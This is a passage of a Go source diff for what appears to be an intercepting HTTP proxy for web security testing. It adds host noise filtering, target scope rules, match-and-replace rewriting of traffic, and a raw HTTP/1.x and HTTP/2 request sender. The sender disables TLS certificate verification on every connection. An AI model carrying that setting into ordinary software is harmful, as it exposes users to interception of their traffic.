defer nf.mu.Unlock()
|
||||
nf.patterns = patterns
|
||||
}
|
||||
|
||||
// AddPattern adds a new noise pattern and returns it with a generated ID.
|
||||
func (nf *NoiseFilter) AddPattern(pattern string) NoisePattern {
|
||||
p := NoisePattern{ID: GenerateID(), Pattern: pattern}
|
||||
nf.mu.Lock()
|
||||
defer nf.mu.Unlock()
|
||||
nf.patterns = append(nf.patterns, p)
|
||||
return p
|
||||
}
|
||||
|
||||
// RemovePattern deletes a pattern by ID. Returns true if found.
|
||||
func (nf *NoiseFilter) RemovePattern(id string) bool {
|
||||
nf.mu.Lock()
|
||||
defer nf.mu.Unlock()
|
||||
for i, p := range nf.patterns {
|
||||
if p.ID == id {
|
||||
nf.patterns = append(nf.patterns[:i], nf.patterns[i+1:]...)
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// IsNoisy checks if a host matches any enabled noise pattern.
|
||||
func (nf *NoiseFilter) IsNoisy(host string) bool {
|
||||
nf.mu.RLock()
|
||||
defer nf.mu.RUnlock()
|
||||
if !nf.enabled {
|
||||
return false
|
||||
}
|
||||
host = strings.ToLower(host)
|
||||
for _, p := range nf.patterns {
|
||||
matched, err := filepath.Match(strings.ToLower(p.Pattern), host)
|
||||
if err == nil && matched {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Server wraps an HTTP proxy listener.
|
||||
type Server struct {
|
||||
bindAddr string
|
||||
port int
|
||||
handler *Handler
|
||||
srv *http.Server
|
||||
}
|
||||
|
||||
// NewServer creates a proxy Server on the given address and port.
|
||||
func NewServer(bindAddr string, port int, handler *Handler) *Server {
|
||||
return &Server{bindAddr: bindAddr, port: port, handler: handler}
|
||||
}
|
||||
|
||||
// Start begins listening and blocks until ctx is cancelled.
|
||||
func (s *Server) Start(ctx context.Context) error {
|
||||
s.srv = &http.Server{
|
||||
Addr: fmt.Sprintf("%s:%d", s.bindAddr, s.port),
|
||||
Handler: s.handler,
|
||||
ReadHeaderTimeout: 10 * time.Second,
|
||||
IdleTimeout: 120 * time.Second,
|
||||
}
|
||||
|
||||
go func() {
|
||||
<-ctx.Done()
|
||||
shutCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||
defer cancel()
|
||||
s.srv.Shutdown(shutCtx) //nolint:errcheck
|
||||
}()
|
||||
|
||||
if err := s.srv.ListenAndServe(); err != http.ErrServerClosed {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,202 @@
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"io"
|
||||
"net/http"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// MatchReplaceRule defines a single match-and-replace transformation.
|
||||
type MatchReplaceRule struct {
|
||||
ID string `json:"id"`
|
||||
Target string `json:"target"` // "request_header", "request_body", "response_header", "response_body", "ws_message"
|
||||
MatchType string `json:"matchType"` // "string" or "regex"
|
||||
Match string `json:"match"`
|
||||
Replace string `json:"replace"`
|
||||
compiled *regexp.Regexp // cached for regex rules
|
||||
}
|
||||
|
||||
// MatchReplace manages a set of match-and-replace rules applied to proxy traffic.
|
||||
type MatchReplace struct {
|
||||
mu sync.RWMutex
|
||||
enabled bool
|
||||
rules []MatchReplaceRule
|
||||
}
|
||||
|
||||
// NewMatchReplace creates a disabled MatchReplace with no rules.
|
||||
func NewMatchReplace() *MatchReplace {
|
||||
return &MatchReplace{}
|
||||
}
|
||||
|
||||
// IsEnabled reports whether match-and-replace is active.
|
||||
func (mr *MatchReplace) IsEnabled() bool {
|
||||
mr.mu.RLock()
|
||||
defer mr.mu.RUnlock()
|
||||
return mr.enabled
|
||||
}
|
||||
|
||||
// SetEnabled enables or disables match-and-replace.
|
||||
func (mr *MatchReplace) SetEnabled(enabled bool) {
|
||||
mr.mu.Lock()
|
||||
defer mr.mu.Unlock()
|
||||
mr.enabled = enabled
|
||||
}
|
||||
|
||||
// Rules returns a copy of the current rules.
|
||||
func (mr *MatchReplace) Rules() []MatchReplaceRule {
|
||||
mr.mu.RLock()
|
||||
defer mr.mu.RUnlock()
|
||||
out := make([]MatchReplaceRule, len(mr.rules))
|
||||
copy(out, mr.rules)
|
||||
return out
|
||||
}
|
||||
|
||||
// SetRules replaces all match-and-replace rules, compiling regex patterns.
|
||||
func (mr *MatchReplace) SetRules(rules []MatchReplaceRule) {
|
||||
for i := range rules {
|
||||
if rules[i].MatchType == "regex" {
|
||||
rules[i].compiled, _ = regexp.Compile(rules[i].Match)
|
||||
}
|
||||
}
|
||||
mr.mu.Lock()
|
||||
defer mr.mu.Unlock()
|
||||
mr.rules = rules
|
||||
}
|
||||
|
||||
// AddRule adds a new rule with a generated ID. Returns the rule.
|
||||
func (mr *MatchReplace) AddRule(target, matchType, match, replace string) MatchReplaceRule {
|
||||
rule := MatchReplaceRule{
|
||||
ID: GenerateID(),
|
||||
Target: target,
|
||||
MatchType: matchType,
|
||||
Match: match,
|
||||
Replace: replace,
|
||||
}
|
||||
if matchType == "regex" {
|
||||
rule.compiled, _ = regexp.Compile(match)
|
||||
}
|
||||
mr.mu.Lock()
|
||||
defer mr.mu.Unlock()
|
||||
mr.rules = append(mr.rules, rule)
|
||||
return rule
|
||||
}
|
||||
|
||||
// RemoveRule deletes a rule by ID. Returns true if found.
|
||||
func (mr *MatchReplace) RemoveRule(id string) bool {
|
||||
mr.mu.Lock()
|
||||
defer mr.mu.Unlock()
|
||||
for i, r := range mr.rules {
|
||||
if r.ID == id {
|
||||
mr.rules = append(mr.rules[:i], mr.rules[i+1:]...)
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// HasResponseRules reports whether any rules target response_header or response_body.
|
||||
func (mr *MatchReplace) HasResponseRules() bool {
|
||||
mr.mu.RLock()
|
||||
defer mr.mu.RUnlock()
|
||||
for _, r := range mr.rules {
|
||||
if r.Target == "response_header" || r.Target == "response_body" {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// Apply runs all enabled rules matching the given target against data, returning the modified result.
|
||||
func (mr *MatchReplace) Apply(target string, data []byte) []byte {
|
||||
mr.mu.RLock()
|
||||
defer mr.mu.RUnlock()
|
||||
if !mr.enabled {
|
||||
return data
|
||||
}
|
||||
for _, r := range mr.rules {
|
||||
if r.Target != target {
|
||||
continue
|
||||
}
|
||||
if r.MatchType == "regex" {
|
||||
if r.compiled != nil {
|
||||
data = r.compiled.ReplaceAll(data, []byte(r.Replace))
|
||||
}
|
||||
} else {
|
||||
data = []byte(strings.ReplaceAll(string(data), r.Match, r.Replace))
|
||||
}
|
||||
}
|
||||
return data
|
||||
}
|
||||
|
||||
// applyRequestReplace applies request_header and request_body rules to an *http.Request.
|
||||
func applyRequestReplace(mr *MatchReplace, r *http.Request) *http.Request {
|
||||
raw, err := dumpRequest(r, true)
|
||||
if err != nil {
|
||||
return r
|
||||
}
|
||||
|
||||
sep := []byte("\r\n\r\n")
|
||||
parts := bytes.SplitN(raw, sep, 2)
|
||||
headerBytes := mr.Apply("request_header", parts[0])
|
||||
var bodyBytes []byte
|
||||
if len(parts) > 1 {
|
||||
bodyBytes = mr.Apply("request_body", parts[1])
|
||||
}
|
||||
|
||||
modified := append(headerBytes, sep...)
|
||||
modified = append(modified, bodyBytes...)
|
||||
|
||||
parsed, err := http.ReadRequest(bufio.NewReader(bytes.NewReader(modified)))
|
||||
if err != nil {
|
||||
return r
|
||||
}
|
||||
// Preserve original URL scheme/host.
|
||||
parsed.URL.Scheme = r.URL.Scheme
|
||||
parsed.URL.Host = r.URL.Host
|
||||
parsed.RequestURI = ""
|
||||
return parsed
|
||||
}
|
||||
|
||||
// applyResponseReplace applies response_header and response_body rules to an *http.Response.
|
||||
func applyResponseReplace(mr *MatchReplace, resp *http.Response) *http.Response {
|
||||
// Buffer body and dump from a shallow copy with chunked encoding cleared,
|
||||
// so response_body match/replace rules see the decoded bytes rather than
|
||||
// chunk-size markers from a re-encoded chunked dump.
|
||||
rawBody, _ := io.ReadAll(resp.Body)
|
||||
resp.Body.Close()
|
||||
|
||||
capturedResp := *resp
|
||||
capturedResp.TransferEncoding = nil
|
||||
capturedResp.ContentLength = int64(len(rawBody))
|
||||
capturedResp.Body = io.NopCloser(bytes.NewReader(rawBody))
|
||||
raw, err := dumpResponse(&capturedResp, true)
|
||||
if err != nil {
|
||||
return resp
|
||||
}
|
||||
|
||||
sep := []byte("\r\n\r\n")
|
||||
parts := bytes.SplitN(raw, sep, 2)
|
||||
headerBytes := mr.Apply("response_header", parts[0])
|
||||
var bodyBytes []byte
|
||||
if len(parts) > 1 {
|
||||
bodyBytes = mr.Apply("response_body", parts[1])
|
||||
}
|
||||
|
||||
modified := append(headerBytes, sep...)
|
||||
modified = append(modified, bodyBytes...)
|
||||
|
||||
parsed, err := http.ReadResponse(bufio.NewReader(bytes.NewReader(modified)), nil)
|
||||
if err != nil {
|
||||
return resp
|
||||
}
|
||||
// Update Content-Length to match the new body.
|
||||
if len(bodyBytes) > 0 {
|
||||
parsed.ContentLength = int64(len(bodyBytes))
|
||||
parsed.Body = io.NopCloser(bytes.NewReader(bodyBytes))
|
||||
}
|
||||
return parsed
|
||||
}
|
||||
@@ -0,0 +1,161 @@
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// ScopeRule defines a single include or exclude scope rule.
|
||||
type ScopeRule struct {
|
||||
ID string `json:"id"`
|
||||
Pattern string `json:"pattern"` // host glob: "*.target.com"
|
||||
Methods []string `json:"methods"` // e.g. ["POST","PUT"], empty = all
|
||||
Path string `json:"path"` // path glob: "/api/*", empty = all
|
||||
Include bool `json:"include"` // true=include, false=exclude
|
||||
}
|
||||
|
||||
// Scope manages host and request-level scope filtering.
|
||||
type Scope struct {
|
||||
mu sync.RWMutex
|
||||
enabled bool
|
||||
rules []ScopeRule
|
||||
}
|
||||
|
||||
// NewScope creates a Scope that is disabled by default with no rules.
|
||||
func NewScope() *Scope {
|
||||
return &Scope{}
|
||||
}
|
||||
|
||||
// IsEnabled reports whether scope filtering is active.
|
||||
func (s *Scope) IsEnabled() bool {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
return s.enabled
|
||||
}
|
||||
|
||||
// SetEnabled enables or disables scope filtering.
|
||||
func (s *Scope) SetEnabled(enabled bool) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.enabled = enabled
|
||||
}
|
||||
|
||||
// Rules returns a copy of the current scope rules.
|
||||
func (s *Scope) Rules() []ScopeRule {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
out := make([]ScopeRule, len(s.rules))
|
||||
copy(out, s.rules)
|
||||
return out
|
||||
}
|
||||
|
||||
// SetRules replaces all scope rules.
|
||||
func (s *Scope) SetRules(rules []ScopeRule) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.rules = rules
|
||||
}
|
||||
|
||||
// AddRule appends a rule, assigning it a generated ID.
|
||||
func (s *Scope) AddRule(rule ScopeRule) ScopeRule {
|
||||
rule.ID = GenerateID()
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.rules = append(s.rules, rule)
|
||||
return rule
|
||||
}
|
||||
|
||||
// RemoveRule deletes a rule by ID. Returns true if found.
|
||||
func (s *Scope) RemoveRule(id string) bool {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
for i, r := range s.rules {
|
||||
if r.ID == id {
|
||||
s.rules = append(s.rules[:i], s.rules[i+1:]...)
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// HostInScope checks if a hostname passes scope at the CONNECT level (host only).
|
||||
func (s *Scope) HostInScope(host string) bool {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
return s.inScope(host, "", "")
|
||||
}
|
||||
|
||||
// InScope checks if a request passes scope (host + method + path).
|
||||
func (s *Scope) InScope(host, method, path string) bool {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
return s.inScope(host, method, path)
|
||||
}
|
||||
|
||||
// inScope implements the evaluation logic. Must be called with mu held.
|
||||
func (s *Scope) inScope(host, method, path string) bool {
|
||||
if !s.enabled {
|
||||
return true
|
||||
}
|
||||
if len(s.rules) == 0 {
|
||||
return false
|
||||
}
|
||||
|
||||
included := false
|
||||
for _, r := range s.rules {
|
||||
if !r.Include {
|
||||
continue
|
||||
}
|
||||
if matchRule(r, host, method, path) {
|
||||
included = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !included {
|
||||
return false
|
||||
}
|
||||
|
||||
for _, r := range s.rules {
|
||||
if r.Include {
|
||||
continue
|
||||
}
|
||||
if matchRule(r, host, method, path) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// matchRule checks whether a single rule matches the given host, method, and path.
|
||||
// When method or path is empty (Level 1 check), those dimensions are skipped.
|
||||
func matchRule(rule ScopeRule, host, method, path string) bool {
|
||||
if rule.Pattern != "" {
|
||||
matched, err := filepath.Match(strings.ToLower(rule.Pattern), strings.ToLower(host))
|
||||
if err != nil || !matched {
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
if method != "" && len(rule.Methods) > 0 {
|
||||
found := false
|
||||
for _, m := range rule.Methods {
|
||||
if strings.EqualFold(m, method) {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
if path != "" && rule.Path != "" {
|
||||
matched, err := filepath.Match(rule.Path, path)
|
||||
if err != nil || !matched {
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
@@ -0,0 +1,513 @@
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"compress/flate"
|
||||
"compress/gzip"
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/http/httputil"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"golang.org/x/net/http2"
|
||||
)
|
||||
|
||||
// SendOptions controls behavior of SendRawRequest.
|
||||
type SendOptions struct {
|
||||
FollowRedirects bool
|
||||
Decompress bool
|
||||
H2Transport *http2.Transport
|
||||
}
|
||||
|
||||
// SendResult holds the outcome of a raw send.
|
||||
type SendResult struct {
|
||||
Response *http.Response
|
||||
RawResp []byte
|
||||
Duration time.Duration
|
||||
Hops int
|
||||
ResponseSource string // "wire" | "synthetic" | "fallback-h1"
|
||||
}
|
||||
|
||||
const sendMaxRedirectHops = 10
|
||||
|
||||
// SendRawRequest sends raw HTTP request bytes, choosing the wire protocol from
|
||||
// the version token in the request line. HTTP/1.0 and HTTP/1.1 go on the wire
|
||||
// byte-for-byte over a raw TCP/TLS socket with ALPN forced to http/1.1. HTTP/2
|
||||
// is re-encoded by golang.org/x/net/http2 with ALPN forced to h2 (h2 has no
|
||||
// textual request line on the wire).
|
||||
func SendRawRequest(ctx context.Context, raw []byte, scheme, host string, opts SendOptions, tc *TransportConfig) (*SendResult, error) {
|
||||
proto := protocolFromRequestLine(raw)
|
||||
switch proto {
|
||||
case "HTTP/1.0", "HTTP/1.1":
|
||||
return sendH1Raw(ctx, raw, scheme, host, proto, opts, tc, 0)
|
||||
case "HTTP/2", "HTTP/2.0":
|
||||
return sendH2(ctx, raw, scheme, host, opts, tc, 0)
|
||||
case "":
|
||||
return nil, errors.New("could not parse HTTP version from request line")
|
||||
default:
|
||||
return nil, fmt.Errorf("unsupported HTTP version: %q", proto)
|
||||
}
|
||||
}
|
||||
|
||||
// protocolFromRequestLine reads the first line of raw and returns the version
|
||||
// token (e.g., "HTTP/1.1"), or "" if not present. Returns the parsed token even
|
||||
// for unsupported versions so the caller can produce a useful error.
|
||||
func protocolFromRequestLine(raw []byte) string {
|
||||
end := bytes.IndexAny(raw, "\r\n")
|
||||
if end < 0 {
|
||||
end = len(raw)
|
||||
}
|
||||
parts := bytes.Fields(raw[:end])
|
||||
if len(parts) < 3 {
|
||||
return ""
|
||||
}
|
||||
return string(parts[len(parts)-1])
|
||||
}
|
||||
|
||||
func sendH1Raw(ctx context.Context, raw []byte, scheme, host, proto string, opts SendOptions, tc *TransportConfig, hops int) (*SendResult, error) {
|
||||
scheme = strings.ToLower(scheme)
|
||||
if scheme == "" {
|
||||
scheme = "https"
|
||||
}
|
||||
if host == "" {
|
||||
host = hostFromRaw(raw)
|
||||
if host == "" {
|
||||
return nil, errors.New("host is required")
|
||||
}
|
||||
}
|
||||
|
||||
dialHost := host
|
||||
if !strings.Contains(dialHost, ":") {
|
||||
if scheme == "https" {
|
||||
dialHost = net.JoinHostPort(dialHost, "443")
|
||||
} else {
|
||||
dialHost = net.JoinHostPort(dialHost, "80")
|
||||
}
|
||||
}
|
||||
|
||||
conn, err := dialH1Conn(ctx, scheme, dialHost, tc)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("dial: %w", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
deadline := time.Now().Add(30 * time.Second)
|
||||
if dl, ok := ctx.Deadline(); ok && dl.Before(deadline) {
|
||||
deadline = dl
|
||||
}
|
||||
conn.SetDeadline(deadline) //nolint:errcheck
|
||||
|
||||
stop := make(chan struct{})
|
||||
defer close(stop)
|
||||
go func() {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
conn.Close()
|
||||
case <-stop:
|
||||
}
|
||||
}()
|
||||
|
||||
start := time.Now()
|
||||
if _, err := conn.Write(raw); err != nil {
|
||||
return nil, fmt.Errorf("write request: %w", err)
|
||||
}
|
||||
|
||||
resp, err := http.ReadResponse(bufio.NewReader(conn), nil)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read response: %w", err)
|
||||
}
|
||||
|
||||
bodyBytes, _ := io.ReadAll(resp.Body)
|
||||
resp.Body.Close()
|
||||
duration := time.Since(start)
|
||||
|
||||
if opts.Decompress {
|
||||
if decoded, ok := tryDecompress(resp.Header.Get("Content-Encoding"), bodyBytes); ok {
|
||||
bodyBytes = decoded
|
||||
resp.Header.Del("Content-Encoding")
|
||||
resp.Header.Del("Transfer-Encoding")
|
||||
resp.Header.Set("Content-Length", strconv.Itoa(len(bodyBytes)))
|
||||
}
|
||||
}
|
||||
|
||||
rawResp := dumpResponseSafe(resp, bodyBytes)
|
||||
resp.Body = io.NopCloser(bytes.NewReader(bodyBytes))
|
||||
resp.ContentLength = int64(len(bodyBytes))
|
||||
|
||||
if opts.FollowRedirects && hops+1 < sendMaxRedirectHops && isRedirect(resp.StatusCode) {
|
||||
if loc := resp.Header.Get("Location"); loc != "" {
|
||||
if nextScheme, nextHost, nextPath, err := resolveRedirect(scheme, host, loc); err == nil {
|
||||
followRaw := buildSimpleGet(proto, nextHost, nextPath)
|
||||
return sendH1Raw(ctx, followRaw, nextScheme, nextHost, proto, opts, tc, hops+1)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &SendResult{
|
||||
Response: resp,
|
||||
RawResp: rawResp,
|
||||
Duration: duration,
|
||||
Hops: hops,
|
||||
ResponseSource: "synthetic",
|
||||
}, nil
|
||||
}
|
||||
|
||||
func sendH2(ctx context.Context, raw []byte, scheme, host string, opts SendOptions, tc *TransportConfig, hops int) (*SendResult, error) {
|
||||
parseable := rewriteVersionToH1(raw)
|
||||
httpReq, err := http.ReadRequest(bufio.NewReader(bytes.NewReader(parseable)))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("parse request: %w", err)
|
||||
}
|
||||
|
||||
if scheme == "" {
|
||||
scheme = "https"
|
||||
}
|
||||
if host == "" {
|
||||
host = httpReq.Host
|
||||
if host == "" {
|
||||
return nil, errors.New("host is required")
|
||||
}
|
||||
}
|
||||
httpReq.URL.Scheme = scheme
|
||||
httpReq.URL.Host = host
|
||||
httpReq.Host = host
|
||||
httpReq.RequestURI = ""
|
||||
|
||||
for _, h := range []string{"Connection", "Keep-Alive", "Proxy-Authenticate", "Proxy-Authorization", "Te", "Trailer", "Transfer-Encoding", "Upgrade"} {
|
||||
httpReq.Header.Del(h)
|
||||
}
|
||||
|
||||
transport := opts.H2Transport
|
||||
closeWhenDone := false
|
||||
if transport == nil {
|
||||
transport = newH2Transport(tc)
|
||||
closeWhenDone = true
|
||||
}
|
||||
if closeWhenDone {
|
||||
defer transport.CloseIdleConnections()
|
||||
}
|
||||
|
||||
httpReq = httpReq.WithContext(ctx)
|
||||
start := time.Now()
|
||||
resp, err := transport.RoundTrip(httpReq)
|
||||
if err != nil {
|
||||
if isH2NotSupported(err) {
|
||||
fallback := bytes.Replace(raw, []byte("HTTP/2.0"), []byte("HTTP/1.1"), 1)
|
||||
fallback = bytes.Replace(fallback, []byte("HTTP/2"), []byte("HTTP/1.1"), 1)
|
||||
res, ferr := sendH1Raw(ctx, fallback, scheme, host, "HTTP/1.1", opts, tc, hops)
|
||||
if ferr == nil && res != nil {
|
||||
res.ResponseSource = "fallback-h1"
|
||||
}
|
||||
return res, ferr
|
||||
}
|
||||
return nil, fmt.Errorf("send: %w", err)
|
||||
}
|
||||
duration := time.Since(start)
|
||||
|
||||
bodyBytes, _ := io.ReadAll(resp.Body)
|
||||
resp.Body.Close()
|
||||
|
||||
if opts.Decompress {
|
||||
if decoded, ok := tryDecompress(resp.Header.Get("Content-Encoding"), bodyBytes); ok {
|
||||
bodyBytes = decoded
|
||||
resp.Header.Del("Content-Encoding")
|
||||
resp.Header.Del("Transfer-Encoding")
|
||||
resp.Header.Set("Content-Length", strconv.Itoa(len(bodyBytes)))
|
||||
}
|
||||
}
|
||||
|
||||
rawResp := dumpResponseSafe(resp, bodyBytes)
|
||||
resp.Body = io.NopCloser(bytes.NewReader(bodyBytes))
|
||||
resp.ContentLength = int64(len(bodyBytes))
|
||||
|
||||
if opts.FollowRedirects && hops+1 < sendMaxRedirectHops && isRedirect(resp.StatusCode) {
|
||||
if loc := resp.Header.Get("Location"); loc != "" {
|
||||
if nextScheme, nextHost, nextPath, err := resolveRedirect(scheme, host, loc); err == nil {
|
||||
followRaw := buildSimpleGet("HTTP/2", nextHost, nextPath)
|
||||
return sendH2(ctx, followRaw, nextScheme, nextHost, opts, tc, hops+1)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &SendResult{
|
||||
Response: resp,
|
||||
RawResp: rawResp,
|
||||
Duration: duration,
|
||||
Hops: hops,
|
||||
ResponseSource: "synthetic",
|
||||
}, nil
|
||||
}
|
||||
|
||||
// dialH1Conn dials TCP/TLS for HTTP/1.x, forcing ALPN to http/1.1 on TLS.
|
||||
func dialH1Conn(ctx context.Context, scheme, host string, tc *TransportConfig) (net.Conn, error) {
|
||||
dialCtx, cancel := context.WithTimeout(ctx, 10*time.Second)
|
||||
defer cancel()
|
||||
|
||||
var raw net.Conn
|
||||
var err error
|
||||
if tc != nil {
|
||||
if dial := tc.SOCKSDialContext(); dial != nil {
|
||||
raw, err = dial(dialCtx, "tcp", host)
|
||||
}
|
||||
}
|
||||
if raw == nil && err == nil {
|
||||
var d net.Dialer
|
||||
raw, err = d.DialContext(dialCtx, "tcp", host)
|
||||
}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if scheme != "https" {
|
||||
return raw, nil
|
||||
}
|
||||
|
||||
serverName, _, _ := net.SplitHostPort(host)
|
||||
tlsConn := tls.Client(raw, &tls.Config{
|
||||
ServerName: serverName,
|
||||
InsecureSkipVerify: true, //nolint:gosec
|
||||
NextProtos: []string{"http/1.1"},
|
||||
})
|
||||
if err := tlsConn.HandshakeContext(dialCtx); err != nil {
|
||||
raw.Close()
|
||||
return nil, fmt.Errorf("tls handshake: %w", err)
|
||||
}
|
||||
return tlsConn, nil
|
||||
}
|
||||
|
||||
// newH2Transport returns a fresh http2.Transport that prefers ALPN h2 and
|
||||
// honors SOCKS configuration on tc. Both "h2" and "http/1.1" are advertised so
|
||||
// the TLS handshake itself doesn't fail against servers that respond with
|
||||
// http/1.1 in ALPN; if the server picks anything other than h2, the dialer
|
||||
// returns errH2NotSupported and the caller falls back to the H1 sender.
|
||||
func newH2Transport(tc *TransportConfig) *http2.Transport {
|
||||
t := &http2.Transport{
|
||||
TLSClientConfig: &tls.Config{
|
||||
InsecureSkipVerify: true, //nolint:gosec
|
||||
NextProtos: []string{"h2", "http/1.1"},
|
||||
},
|
||||
AllowHTTP: false,
|
||||
}
|
||||
|
||||
t.DialTLSContext = func(ctx context.Context, network, addr string, _ *tls.Config) (net.Conn, error) {
|
||||
dialCtx, cancel := context.WithTimeout(ctx, 10*time.Second)
|
||||
defer cancel()
|
||||
|
||||
var rawConn net.Conn
|
||||
var err error
|
||||
if tc != nil {
|
||||
if dial := tc.SOCKSDialContext(); dial != nil {
|
||||
rawConn, err = dial(dialCtx, network, addr)
|
||||
}
|
||||
}
|
||||
if rawConn == nil && err == nil {
|
||||
var d net.Dialer
|
||||
rawConn, err = d.DialContext(dialCtx, network, addr)
|
||||
}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
serverName, _, _ := net.SplitHostPort(addr)
|
||||
tlsConn := tls.Client(rawConn, &tls.Config{
|
||||
ServerName: serverName,
|
||||
InsecureSkipVerify: true, //nolint:gosec
|
||||
NextProtos: []string{"h2", "http/1.1"},
|
||||
})
|
||||
if err := tlsConn.HandshakeContext(dialCtx); err != nil {
|
||||
rawConn.Close()
|
||||
return nil, err
|
||||
}
|
||||
if state := tlsConn.ConnectionState(); state.NegotiatedProtocol != "h2" {
|
||||
tlsConn.Close()
|
||||
return nil, errH2NotSupported
|
||||
}
|
||||
return tlsConn, nil
|
||||
}
|
||||
return t
|
||||
}
|
||||
|
||||
var errH2NotSupported = errors.New("server does not support HTTP/2 (ALPN)")
|
||||
|
||||
func isH2NotSupported(err error) bool {
|
||||
if err == nil {
|
||||
return false
|
||||
}
|
||||
if errors.Is(err, errH2NotSupported) {
|
||||
return true
|
||||
}
|
||||
msg := err.Error()
|
||||
if strings.Contains(msg, errH2NotSupported.Error()) {
|
||||
return true
|
||||
}
|
||||
// Servers that misbehave in ALPN: pick a protocol the client never offered,
|
||||
// or send TLS 1.3 alert 120 (no_application_protocol). Treat both as
|
||||
// "no h2 here" so the H1 fallback path can take over instead of bubbling
|
||||
// up as a 502.
|
||||
if strings.Contains(msg, "unadvertised ALPN protocol") {
|
||||
return true
|
||||
}
|
||||
if strings.Contains(msg, "no application protocol") {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// rewriteVersionToH1 swaps " HTTP/2" or " HTTP/2.0" → " HTTP/1.1" in the
|
||||
// request line so http.ReadRequest can parse it. Used only as a parsing-time
|
||||
// concession; the wire protocol is chosen by the caller.
|
||||
func rewriteVersionToH1(raw []byte) []byte {
|
||||
eol := bytes.IndexAny(raw, "\r\n")
|
||||
if eol < 0 {
|
||||
return raw
|
||||
}
|
||||
line := raw[:eol]
|
||||
rest := raw[eol:]
|
||||
for _, suffix := range []string{" HTTP/2.0", " HTTP/2"} {
|
||||
if bytes.HasSuffix(line, []byte(suffix)) {
|
||||
fixed := append([]byte{}, line[:len(line)-len(suffix)]...)
|
||||
fixed = append(fixed, " HTTP/1.1"...)
|
||||
return append(fixed, rest...)
|
||||
}
|
||||
}
|
||||
return raw
|
||||
}
|
||||
|
||||
// hostFromRaw extracts the Host header value from raw HTTP/1 bytes.
|
||||
func hostFromRaw(raw []byte) string {
|
||||
headerEnd := bytes.Index(raw, []byte("\r\n\r\n"))
|
||||
if headerEnd < 0 {
|
||||
headerEnd = bytes.Index(raw, []byte("\n\n"))
|
||||
if headerEnd < 0 {
|
||||
return ""
|
||||
}
|
||||
}
|
||||
headers := bytes.ReplaceAll(raw[:headerEnd], []byte("\r\n"), []byte("\n"))
|
||||
for _, line := range bytes.Split(headers, []byte("\n")) {
|
||||
if i := bytes.IndexByte(line, ':'); i > 0 {
|
||||
if strings.EqualFold(string(line[:i]), "Host") {
|
||||
return strings.TrimSpace(string(line[i+1:]))
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func isRedirect(code int) bool {
|
||||
switch code {
|
||||
case 301, 302, 303, 307, 308:
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func resolveRedirect(scheme, host, location string) (string, string, string, error) {
|
||||
base := &url.URL{Scheme: scheme, Host: host}
|
||||
loc, err := url.Parse(location)
|
||||
if err != nil {
|
||||
return "", "", "", err
|
||||
}
|
||||
final := base.ResolveReference(loc)
|
||||
if final.Scheme == "" {
|
||||
final.Scheme = scheme
|
||||
}
|
||||
if final.Host == "" {
|
||||
final.Host = host
|
||||
}
|
||||
return final.Scheme, final.Host, final.RequestURI(), nil
|
||||
}
|
||||
|
||||
func buildSimpleGet(proto, host, path string) []byte {
|
||||
if path == "" {
|
||||
path = "/"
|
||||
}
|
||||
return fmt.Appendf(nil, "GET %s %s\r\nHost: %s\r\nAccept: */*\r\n\r\n", path, proto, host)
|
||||
}
|
||||
|
||||
// tryDecompress decodes gzip / deflate response bodies. Returns (decoded, true)
|
||||
// on success, or (original, false) if the encoding is empty or unsupported.
|
||||
